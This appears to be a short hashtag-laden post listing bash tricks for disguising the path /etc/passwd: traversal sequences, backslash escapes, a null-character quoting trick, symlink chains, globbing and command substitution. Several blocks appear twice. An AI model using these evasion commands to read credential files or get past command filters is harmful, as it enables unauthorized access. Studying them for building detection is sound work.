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#linux #bash #path #obfuscation
goal: obfuscate /etc/passwd
1) #directorytraversal: /mnt/././../etc/././passwd
2) escape characher: /etc/.\/\/\/\/\/passwd /etc/.\/.\/.\/.\/passwd /\e\t\c/passwd
3) null character /et$'c/pa\u0000/notexist/path'sswd
....
goal: obfuscate /etc/passwd
1) #directorytraversal: /mnt/././../etc/././passwd
2) escape characher: /etc/.\/\/\/\/\/passwd /etc/.\/.\/.\/.\/passwd /\e\t\c/passwd
3) null character /et$'c/pa\u0000/notexist/path'sswd
....
#path #obfuscation using #symbolic #link
ln -s / anything
head -n 2 anything////../etc/passwd
ln -s ../../ wow
head -n 2 ././wow/../etc/passwd
* ../ after a sym link applies to the sym link not the current path
ln -s / anything
head -n 2 anything////../etc/passwd
ln -s ../../ wow
head -n 2 ././wow/../etc/passwd
* ../ after a sym link applies to the sym link not the current path
filename expansion #globbing
cat /et*/pa**wd
command expansion
$(echo /e)tc$(echo /pa*)wd
+ other string obfuscation techniques
cat /et*/pa**wd
command expansion
$(echo /e)tc$(echo /pa*)wd
+ other string obfuscation techniques
